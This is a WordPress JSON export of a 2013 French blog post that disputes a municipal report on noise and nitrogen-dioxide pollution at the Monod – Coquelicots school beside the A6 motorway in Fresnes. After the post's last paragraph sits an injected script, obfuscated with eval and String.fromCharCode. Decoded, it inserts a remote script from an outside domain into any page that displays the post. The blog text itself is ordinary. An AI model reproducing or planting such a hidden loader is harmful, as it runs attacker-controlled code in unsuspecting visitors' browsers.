{"id":681,"date":"2013-08-26T16:47:05","date_gmt":"2013-08-26T14:47:05","guid":{"rendered":"http:\/\/fresnes2014.wordpress.com\/?p=681"},"modified":"2013-08-26T16:47:05","modified_gmt":"2013-08-26T14:47:05","slug":"fresnes-analyse-environnementale-officielle-pour-le-groupe-monod-coquelicots","status":"publish","type":"post","link":"http:\/\/actifeducation.fr\/?p=681","title":{"rendered":"Fresnes : analyse environnementale officielle pour le groupe Monod &#8211; Coquelicots"},"content":{"rendered":"<figure id=\"attachment_675\" aria-describedby=\"caption-attachment-675\" style=\"width: 150px\" class=\"wp-caption alignleft\"><a href=\"http:\/\/fresnes2020.files.wordpress.com\/2013\/08\/tumblr_mn81ikr2j11s2zme2o1_r2_500.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-thumbnail wp-image-675\" alt=\"Vue sur le groupe scolaire depuis l'A6\" src=\"http:\/\/fresnes2020.files.wordpress.com\/2013\/08\/tumblr_mn81ikr2j11s2zme2o1_r2_500.jpg?w=150\" width=\"150\" height=\"113\" \/><\/a><figcaption id=\"caption-attachment-675\" class=\"wp-caption-text\">Vue sur le groupe scolaire depuis l&rsquo;A6<\/figcaption><\/figure>\n<p>A quelques jours de la rentr\u00e9e scolaire , la mairie a publi\u00e9 , sur le site communal,<a href=\"http:\/\/www.fresnes94.fr\/actualites\/fiche\/ecoquartier-resultat-des-etudes-environnementales\"> une analyse rassurante de l&rsquo;environnement sonore et atmosph\u00e9rique du nouveau groupe scolaire Monod &#8211; Coquelicots\u00a0 implant\u00e9 au bord de l&rsquo;autoroute A6\u00a0<\/a><\/p>\n<p>Malheureusement, <a href=\"http:\/\/www.fresnes94.fr\/fileadmin\/fresnes\/MEDIA\/Homepage\/Actualites\/EtudeZacCerisaie.pdf\">seul un extrait du rapport est publi\u00e9<\/a> : on n&rsquo;y trouve pas les annexes, ni les r\u00e9f\u00e9rences des diff\u00e9rentes \u00e9tudes cit\u00e9es dans le document (celles d&rsquo;airparif par exemple). Le sujet de la ligne \u00e0 tr\u00e8s haute tension n&rsquo;y est pas abord\u00e9 par ailleurs.<\/p>\n<p>Aussi, les faits annonc\u00e9s dans le rapport ne sont pas toujours coh\u00e9rents avec les informations que j&rsquo;ai pu trouver sur internet, et que <a href=\"\/2013\/06\/11\/fresnes-environnement-du-futur-groupe-scolaire-theodore-monod-coquelicots\/\">j&rsquo;avais rapport\u00e9es ici<\/a>.<\/p>\n<p><strong>A propos du bruit<\/strong><\/p>\n<p>Le rapport d&rsquo;analyse indique, qu&rsquo;une fois le b\u00e2timent \u00e9cran construit le long de l&rsquo;A6( d&rsquo;ici deux ans ), la zone du b\u00e2timent scolaire sera expos\u00e9e \u00e0 un niveau sonore compris entre 56 et 60 d\u00e9cibels LAQ.<\/p>\n<p>Il faut savoir, que l&rsquo;\u00e9chelle des d\u00e9cibels est une \u00e9chelle sp\u00e9ciale ( \u00e9chelle logarithmique) : 3 d\u00e9cibels en plus c&rsquo;est une puissance sonore doubl\u00e9e !\u00a0\u00a0 56 d\u00e9cibels et 60 ce n&rsquo;est pas tout \u00e0 fait pareil donc : il faudra attendre que le b\u00e2timent \u00e9cran soit construit pour conna\u00eetre le niveau sonore\u00a0 exact.<\/p>\n<p>En attendant, le niveau sonore sera compris entre 59 et 65 d\u00e9cibels, ceci sans tenir compte des bruits du chantier de construction dudit immeuble antibruit.<\/p>\n<figure id=\"attachment_698\" aria-describedby=\"caption-attachment-698\" style=\"width: 700px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/fresnes2020.files.wordpress.com\/2013\/08\/2013-08-28-10_51_58-etudezaccerisaie-pdf.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-698\" alt=\"Mod\u00e9lisation du bruit en bordure de l'A6 ( avant construction du b\u00e2timent antibruit. source\" src=\"http:\/\/fresnes2020.files.wordpress.com\/2013\/08\/2013-08-28-10_51_58-etudezaccerisaie-pdf.png?w=700\" width=\"700\" height=\"485\" \/><\/a><figcaption id=\"caption-attachment-698\" class=\"wp-caption-text\">Mod\u00e9lisation du bruit en bordure de l&rsquo;A6 ( avant construction du b\u00e2timent antibruit. <a href=\"http:\/\/www.fresnes94.fr\/fileadmin\/fresnes\/MEDIA\/Homepage\/Actualites\/EtudeZacCerisaie.pdf\">source<\/a><\/figcaption><\/figure>\n<p>Le rapport indique qu&rsquo;\u00e0 terme, l&rsquo;\u00e9cole sera dans \u00ab\u00a0une zone calme\u00a0\u00bb ( 55 d\u00e9cibels) .<\/p>\n<p>\u00ab\u00a0<a href=\"http:\/\/www.developpement-durable.gouv.fr\/IMG\/pdf\/Referentiel_national_pour_la_definition_et_la_creation_des_zones_calmes_-_2008-2.pdf\">le r\u00e9f\u00e9rentiel national pour la d\u00e9finition et la cr\u00e9ation des zones calmes<\/a>\u00a0\u00bb\u00a0 du minist\u00e8re du d\u00e9veloppement durable nous indique qu&rsquo;un niveau sonore seul ne suffit pas \u00e0 d\u00e9finir une zone calme,\u00a0 il faut prendre en compte<\/p>\n<p>\u00a0\u00bb<\/p>\n<ul>\n<li>un faible niveau d\u2019exposition au bruit (ou un moindre niveau de bruit par rapport \u00e0 l\u2019environnement ext\u00e9rieur), [le r\u00e9f\u00e9rentiel ne pr\u00e9cise pas d&rsquo;indicateur ou de valeur seuil, en particulier pas le seuil de 55 dB \u00e9voqu\u00e9 dans le rapport communal]<\/li>\n<li>l&rsquo;absence ou, a minima, la moindre repr\u00e9sentation du bruit des transports et de l\u2019activit\u00e9 humaine,<\/li>\n<li>la pr\u00e9dominance des sons de la nature,<\/li>\n<li>un rapport temps de \u00ab silence \u00bb &#8211; temps bruyant largement en faveur du premier,<\/li>\n<li>la non fragmentation du territoire,<\/li>\n<li>l&rsquo;\u00e9loignement des infrastructures de transport tant pour le bruit que pour l\u2019intrusion visuelle,<\/li>\n<li>la qualit\u00e9 environnementale de l\u2019espace,<\/li>\n<li>la qualit\u00e9 sensorielle (notamment visuelle) de l\u2019espace\u2026<\/li>\n<\/ul>\n<p>\u00a0\u00bb<\/p>\n<p>En 2003, un groupe de travail mandat\u00e9 par la commission europ\u00e9enne , le Symonds Group, <a href=\"http:\/\/fr.scribd.com\/doc\/11959563\/Report-on-the-Definition-Identification-and-Preservation-of-Urban-and-Rural-Quiet-Areas\">recommande d&rsquo;utiliser pour la d\u00e9finition d&rsquo;une zone calme urbaine , une zone expos\u00e9e \u00e0 un niveau sonore inf\u00e9rieur \u00e0 50 d\u00e9cibels den (puissance sonore 3 fois moins importante que 55 d\u00e9cibels)\u00a0 , voire \u00e0 40 d\u00e9cibels den (\u00ab\u00a0gold strandard\u00a0\u00bb) ( puissance sonore 30 fois moindre que 55 d\u00e9cibels) ) (\u00ab\u00a0Definition, Identification and Preservation of Urban &amp;Rural Quiet Areas\u00a0\u00bb)<\/a><\/p>\n<p>Si on se base sur ce niveau sonore, et les autres \u00e9l\u00e9ments cit\u00e9s plus hauts, le groupe scolaire n&rsquo;est et ne sera pas dans une zone urbaine calme.<\/p>\n<p><strong>A propos de la pollution atmosph\u00e9rique<\/strong><\/p>\n<p>Le rapport communal indique que \u00ab\u00a0le secteur de Fresnes\u00a0\u00bb se situe dans des zones basses ou moyennes de pollution atmosph\u00e9rique selon les polluants.<\/p>\n<p>J&rsquo;avais donn\u00e9<a href=\"\/2013\/06\/11\/fresnes-environnement-du-futur-groupe-scolaire-theodore-monod-coquelicots\/\"> des \u00e9l\u00e9ments plus d\u00e9taill\u00e9s ici<\/a>, mais rappelons deux \u00e9l\u00e9ments essentiels.<\/p>\n<p>Parler du \u00ab\u00a0secteur de Fresnes\u00a0\u00bb n&rsquo;est pas assez pr\u00e9cis en l&rsquo;occurrence puisque la r\u00e9partition des polluants est tr\u00e8s localis\u00e9e, essentiellement le long de l&rsquo;A6, zone dans laquelle se situe le groupe scolaire. Comme on peut le constater sur la carte ci-dessous, aux abords de l&rsquo;A6 la pollution au dioxyde d&rsquo;azote n&rsquo;est ni basse , ni moyenne : elle d\u00e9passe\u00a0 ce que airparif qualifie de valeur limite !<\/p>\n<figure id=\"attachment_347\" aria-describedby=\"caption-attachment-347\" style=\"width: 633px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/fresnes2020.files.wordpress.com\/2013\/06\/dyoxyde-azote-2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-347 \" alt=\"Niveau de pollution au dioxyde d'azote 2012\" src=\"http:\/\/fresnes2020.files.wordpress.com\/2013\/06\/dyoxyde-azote-2.png\" width=\"633\" height=\"604\" \/><\/a><figcaption id=\"caption-attachment-347\" class=\"wp-caption-text\">Niveau de pollution au dioxyde d&rsquo;azote 2012<\/figcaption><\/figure>\n<p>Le rapport communal continue en citant une \u00e9tude airparif (sans la r\u00e9f\u00e9rencer)\u00a0 indiquant que la zone pr\u00e8s de l&rsquo;auroute entre l&rsquo;Ha\u00ff et Fresnes est rarement sous \u00ab\u00a0l&rsquo;influence de l&rsquo;axe autoroutier\u00a0\u00bb du fait des vents dominants.<\/p>\n<p>Mais d&rsquo;autre part AirParif (le m\u00eame) a r\u00e9alis\u00e9 dans la zone autour d\u2019Orly <a href=\"http:\/\/www.airparif.asso.fr\/_pdf\/publications\/ROrly.pdf\" target=\"_blank\">des mesures de polluants<\/a> en 2003( dioxyde d\u2019azote et benz\u00e8nes)<br \/>\nDes mesures ont \u00e9t\u00e9 prises \u00e0 Fresnes , passage Herriot (site de l\u2019\u00e9cole Maryse Basti\u00e9, tout proche du site du futur groupe scolaire) : c\u2019est un des points de mesure les plus pollu\u00e9s au dioxyde d\u2019azote de la zone avec une\u00a0 moyenne annuelle de 53 microgrammes \/m\u00b3 ( contre un \u00ab\u00a0objectif qualit\u00e9\u00a0\u00bb de 40 microgrammes) .<script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A quelques jours de la rentr\u00e9e scolaire , la mairie a publi\u00e9 , sur le site communal, une analyse rassurante de l&rsquo;environnement sonore et atmosph\u00e9rique du nouveau groupe scolaire Monod &#8211; Coquelicots\u00a0 implant\u00e9 au bord de l&rsquo;autoroute A6\u00a0 Malheureusement, seul un extrait du rapport est publi\u00e9 : on n&rsquo;y trouve pas les annexes, ni les &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"http:\/\/actifeducation.fr\/?p=681\"> <span class=\"screen-reader-text\">Fresnes : analyse environnementale officielle pour le groupe Monod &#8211; Coquelicots<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":347,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[1],"tags":[10,9,5,12],"class_list":["post-681","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-non-classe","tag-cerisaie","tag-ecoquartier","tag-scolaire-2","tag-urbanisme-2"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"http:\/\/actifeducation.fr\/index.php?rest_route=\/wp\/v2\/posts\/681","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/actifeducation.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/actifeducation.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/actifeducation.fr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/actifeducation.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=681"}],"version-history":[{"count":0,"href":"http:\/\/actifeducation.fr\/index.php?rest_route=\/wp\/v2\/posts\/681\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/actifeducation.fr\/index.php?rest_route=\/"}],"wp:attachment":[{"href":"http:\/\/actifeducation.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=681"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/actifeducation.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=681"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/actifeducation.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=681"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}